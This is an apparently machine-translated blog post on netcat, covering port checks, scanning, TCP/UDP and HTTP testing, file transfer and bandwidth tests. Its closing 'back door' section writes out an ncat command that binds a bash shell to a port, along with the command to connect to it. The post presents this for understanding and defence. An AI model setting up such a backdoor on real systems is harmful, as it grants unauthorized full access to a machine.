当前位置:网站首页>"Swiss Army Knife" -nc in network tools
"Swiss Army Knife" -nc in network tools
2022-07-29 07:50:00 【sg-expert】
Check whether the port is occupied
Remember when we were netstat How to check whether the port is occupied ?nc You can do things like that . It USES -l(listen) Parameters , Used to bind a specified port and listen for connections :
$ nc -l 6379
nc: Address already in use
When you see Address already in use When , I know this port is occupied , Otherwise it will listen on this port . Of course, this role is my nonsense , But you can use .
Port scanning
For example, you need to scan a machine 21-30 Which ports are open :
$ nc -n 127.0.0.1 -z 1230-1234 -v
nc: connect to 127.0.0.1 port 1230 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1231 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1232 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 1233 (tcp) failed: Connection refused
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
among -n Direct use of ip Address , Instead of using a domain name ,-z Specify the port range ,-v Output details . As you can see from the results ,1234 Ports are connectable .
TCP/UDP Connect the test
When you're learning TCP Relevant content , Do you think about how to observe the state or data package in your own practice ? Although I recommend myself to write one TCP The server side of the connection - Client program , But you can also use nc Order to complete , for example , Enter the following in a terminal :
$ nc -l 1234
hello Programming pearls
Show in 1234 Port listening , Then you can connect at another terminal ;
$ nc 127.0.0.1 1234
hello Programming pearls
Connect to local address 1234 port , In the process, you can grab bags , analysis TCP Three handshakes .
besides , You can also send messages between established connections ( Simple chat function ), Let you analyze more !
By default , It creates TCP Connect , While using -u(UDP) Parameters can be tested UDP Connectivity .
$ nc -v -u 182.3.226.35 80
Connection to 182.3.226.35 80 port [udp/http] succeeded!
besides , There are also many parameters for debugging , for example :
-b Allow broadcast messages
-D Turn on socket Debug mode
-d Reading from standard input is prohibited
-k After the client exits , Keep connected
-v Show details
Because in the following article will also use nc To illustrate , So I won't go into details here .
HTTP Connect the test
For example, view HTTP Header information :
$ nc www.baidu.com 80
HEAD / HTTP/1.1
HTTP/1.1 302 Found
Connection: Keep-Alive
Content-Length: 17931
Content-Type: text/html
Date: Sun, 23 Jun 2019 13:52:12 GMT
Etag: "54d9748e-460b"
Server: bfe/1.0.8.18
After connection , Input HEAD / HTTP/1.1 or HEAD / HTTP/1.0, Then enter two carriage returns , You can see web Server related information .
The data transfer
Or use the connection from the front , With the help of redirection, you can transfer files , For example, server monitoring , And output the content to out.txt:
$ nc -l 1234 > out.txt
And the client connection :
$ nc 127.0.0.1 1234 < in.txt
So the client in.txt The content of , It will be transmitted to out.txt
Yes, of course , For file transfer ,scp Command can do it better . If you have no other way , You can try nc.
Network testing
As mentioned above, we can pass nc To transmit data , Similarly, if we want to test the network speed between two hosts ( Of course you can use iperf Tools to do the job ),nc It's something we can help with :
# Server monitoring :
$ nc -vl 1234 >/dev/null
Which redirects to /dev/null, It means to discard the data .
And then on another host :
$ dd if=/dev/zero bs=1M count=10 |nc -vn 127.0.0.1 1234
Connection to 127.0.0.1 1234 port [tcp/*] succeeded!
10+0 records in
10+0 records out
10485760 bytes (10 MB, 10 MiB) copied, 0.0333675 s, 314 MB/s
dd Copy the data , From here /dev/zero Copy the data 0, And once 1M, Copy 10 Time , Finally through nc The command is sent to the server . After the end , You can see the statistics .
Create a back door
nc Commands can also be used to create backdoors in the system , And it's a technology that hackers use a lot . To protect our system , We need to know how it works . The command to create a backdoor is :
$ ncat -l 10000 -e /bin/bash
-e The logo will be a bash And port 10000 Connected to a . Now the client only needs to connect to the server 10000 The port can go through bash Get full access to our system :
$ ncat 192.168.1.100 10000
summary
nc The command is short and concise , But it can help us in many ways , for example :
Port scanning
Connect the test
TCP/UDP The server client listens and connects
Network testing
Create a back door
边栏推荐
猜你喜欢

The new generation of public chain attacks the "Impossible Triangle"

JVM garbage collection mechanism (GC)

技术分享| 快对讲综合调度系统
![[paper reading | cryoet] gum net: fast and accurate 3D subtomo image alignment and average unsupervised geometric matching](/img/dc/255bf122d5243f2a08ca0e03b53137.png)
[paper reading | cryoet] gum net: fast and accurate 3D subtomo image alignment and average unsupervised geometric matching
![[paper reading | cryoelectron microscope] interpretation of the new subtomogram averaging method in relion 4.0](/img/8d/03e63d651b713f547b090e6e740b06.png)
[paper reading | cryoelectron microscope] interpretation of the new subtomogram averaging method in relion 4.0
![[cryoEM] Introduction to FSC, Fourier shell correlation](/img/01/6a4f6041444abfd1d3ca7e0c14b524.png)
[cryoEM] Introduction to FSC, Fourier shell correlation
![[flask introduction series] installation and configuration of flask Sqlalchemy](/img/62/3d108561f2cfeb182f8241192a79ba.png)
[flask introduction series] installation and configuration of flask Sqlalchemy

Go, how to become a gopher, and find work related to go language in 7 days, Part 1

Multi thread shopping
What are the common error types and solutions of black box testing?
随机推荐
Cs61abc sharing session (VI) detailed explanation of program input and output - standard input and output, file, device, EOF, command line parameters
Pytest set (7) - parameterization
写点dp
Matlab simulation of LDPC minimum sum decoding based on high-order six ring free
Phased learning about the entry-level application of SQL Server statements - necessary for job hunting (I)
As long as flutter is data, it will be judged null
String类
Blue Bridge Cup group a selection XOR
[summer daily question] Luogu p4414 [coci2006-2007 2] ABC
Resize2fs: bad magic number in super block
10 practical uses of NFT
[cryoelectron microscope] relation4.0 - subtomogram tutorial
[summer daily question] Luogu p6320 [coci2006-2007 4] sibice
207.课程表
《nlp入门+实战:第五章:使用pytorch中的API实现线性回归》
Prometheus and grafana
What are the common error types and solutions of black box testing?
Space shooting Lesson 17: game over (end)
The difference between static library and dynamic library of program
[introduction to cryoelectron microscopy] Caltech open class course notes part 3:image formation